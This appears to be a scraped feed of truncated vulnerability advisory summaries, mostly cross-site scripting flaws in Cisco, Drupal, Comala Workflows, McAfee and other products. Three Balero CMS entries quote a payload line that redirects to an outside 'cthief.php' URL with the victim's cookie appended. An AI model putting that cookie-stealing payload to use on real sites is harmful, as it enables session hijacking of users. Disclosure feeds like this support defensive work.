Drupal MailChimp Module Cross-Site Scripting Vulnerability

MailChimp Module for Drupal is a module application for Drupal. MailChimp Module for Drupal suffers from a cross-site scripting vulnerability that allows remote attackers to exploit the vulnerability to inject malicious script or HTML code, which can be used to gain access to sensitive informatio...

Junos Space Network Management Platform SSL Certificate Handling Cross-Site Scripting Vulnerability

Junos Space Network Management Platform is a network management platform solution. A cross-site scripting vulnerability exists in Junos Space Network Management Platform SSL certificate processing, which can be exploited by remote attackers to inject malicious script or HTML code that can be used...

Multiple Cross-Site Scripting Vulnerabilities in Cisco Finesse Server

Cisco Finesse Server is an agent and management desktop developed by Cisco. Cisco Finesse Server has multiple cross-site scripting vulnerabilities that can be exploited by remote attackers to inject malicious script or HTML code that can be used to gain access to sensitive information or hijack...

EasyCTF Cross-Site Scripting Vulnerability

EasyCTF is a CGI program for scoring CTFs. EasyCTF suffers from an unspecified cross-site scripting vulnerability that could be exploited by remote attackers to inject malicious script or HTML code, which could be used to gain access to sensitive information or hijack user sessions when malicious...

Tilde Ember.js Cross-Site Scripting Vulnerability

Tilde Ember.js is a set of JavaScript frameworks for creating web applications. Tilde Ember.js suffers from a cross-site scripting vulnerability due to the failure of the program's view "select" option's optionLabelPath property to adequately filter user-submitted input, which allows remote...

IBM Sterling Order Management Cross-Site Scripting Vulnerability (CNVD-2015-02756)

IBM Sterling Order Management is a suite of order management software that orchestrates the cross-channel sales and order fulfillment process across a dynamic business network of customers, suppliers and partners. A cross-site scripting vulnerability exists in IBM Sterling Order Management for...

TAGAWA Takao TransmitMail Cross-Site Scripting Vulnerability

TAGAWA Takao TransmitMail is a PHP-based mail program. TAGAWA Takao TransmitMail suffers from a cross-site scripting vulnerability that can be exploited by remote attackers to inject malicious script or HTML code, which can be used to gain access to sensitive information or hijack user sessions...

novnc: session hijack through insecurely set session token cookies

It was discovered that noVNC did not properly set the 'secure' flag when issuing cookies. An attacker could use this flaw to intercept cookies via a man-in-the-middle attack...

novnc: session hijack through insecurely set session token cookies

It was discovered that noVNC did not properly set the 'secure' flag when issuing cookies. An attacker could use this flaw to intercept cookies via a man-in-the-middle attack...

Cisco Web Security Appliance Cross-Site Scripting Vulnerability (CNVD-2015-02626)

The Cisco Adaptive Security Appliance is an adaptive security appliance that provides modules for security and VPN services. A cross-site scripting vulnerability exists in the filter search form in the Cisco Adaptive Security Appliance web management page, which allows remote attackers to exploit...

Cisco TelePresence Collaboration Desk and Room Endpoints TC Software Cross-Site Scripting Vulnerability

Cisco TelePresence is a telepresence conferencing solution developed by Cisco. A cross-site scripting vulnerability exists in the login page of Cisco TC Software versions prior to 7.1.0 on Cisco TelePresence Collaboration Desk and Room Endpoints appliances, which allows remote attackers to exploi...

Comala Workflows /plugins/approvalsworkflow/saveworkflowmarkup.actio has multiple cross-site scripting vulnerabilities

Comala Workflows is a WEB-based application. The Comala Workflows /plugins/approvalsworkflow/saveworkflowmarkup.action script handles a cross-site scripting vulnerability in workflowMarkup that can be exploited by a remote attacker to construct a malicious URI, which induces the user to parse it,...

Multiple Cross-Site Scripting Vulnerabilities in Comala Workflows saveproperties.action

Comala Workflows is a WEB-based application. Multiple cross-site scripting vulnerabilities exist in the Comala Workflows saveproperties.action script, which can be exploited by a remote attacker to construct a malicious URI and trick a user into parsing it, which can be used to obtain a sensitive...

Comala Workflows newtask.action taskName has multiple reflected cross-site scripting vulnerabilities

Comala Workflows is a WEB-based application. Comala Workflows newtask.action script handles A cross-site scripting vulnerability exists in taskName, which can be exploited by a remote attacker to construct a malicious URI and trick the user into parsing it, which can be used to obtain a sensitive...

Balero CMS 0.7.2 - Multiple JSHTML Injection Vulnerabilities

Balero CMS 0.7.2 - Multiple JSHTML Injection Vulnerabilities document.cookie="counter=1confirm'XSS'; path=/balerocms/"; csrf+stored xss+filter bypass+session hijack: document.location="http://www.zeroscience.mk/pent...

Balero CMS 0.7.2 - Multiple JS/HTML Injection Vulnerabilities

document.cookie="counter=1confirm'XSS'; path=/balerocms/"; csrf+stored xss+filter bypass+session hijack: document.location="http://www.zeroscience.mk/pentest/cthief.php?cookie="+docu\ment.cookie;" /...

Balero CMS 0.7.2 Cross Site Scripting

document.cookie="counter=1confirm'XSS'; path=/balerocms/"; csrf+stored xss+filter bypass+session hijack: document.location="http://www.zeroscience.mk/pentest/cthief.php?cookie="+docu\ment.cookie;"...

OpenStack Compute websocket request source incorrect checksum validation hijacking vulnerability

OpenStack is a cloud computing platform developed by Rackspace and NASA to help service providers and on-premises organizations implement cloud infrastructures similar to Amazon EC2 and S3. OpenStack Compute and kilo fails to properly calibrate the source of Websocket requests vulnerability allow...

Multiple Cross-Site Scripting Vulnerabilities in Websense TRITON AP-DATA

Websense TRITON is the Unified Content Architecture for data security. Websense TRITON AP-DATA suffers from multiple cross-site scripting vulnerabilities that can be exploited by remote attackers to inject malicious script or HTML code that can be used to gain access to sensitive information or...

McAfee Data Loss Prevention Endpoint EPO Extended Cross-Site Scripting Vulnerability

McAfee Data Loss Prevention Endpoint DLPe is an integrated endpoint data protection solution from the U.S. company McAfee McAfee. The McAfee Data Loss Prevention Endpoint DLPe epo extension suffers from a cross-site scripting vulnerability that could be exploited by a remote attacker to inject...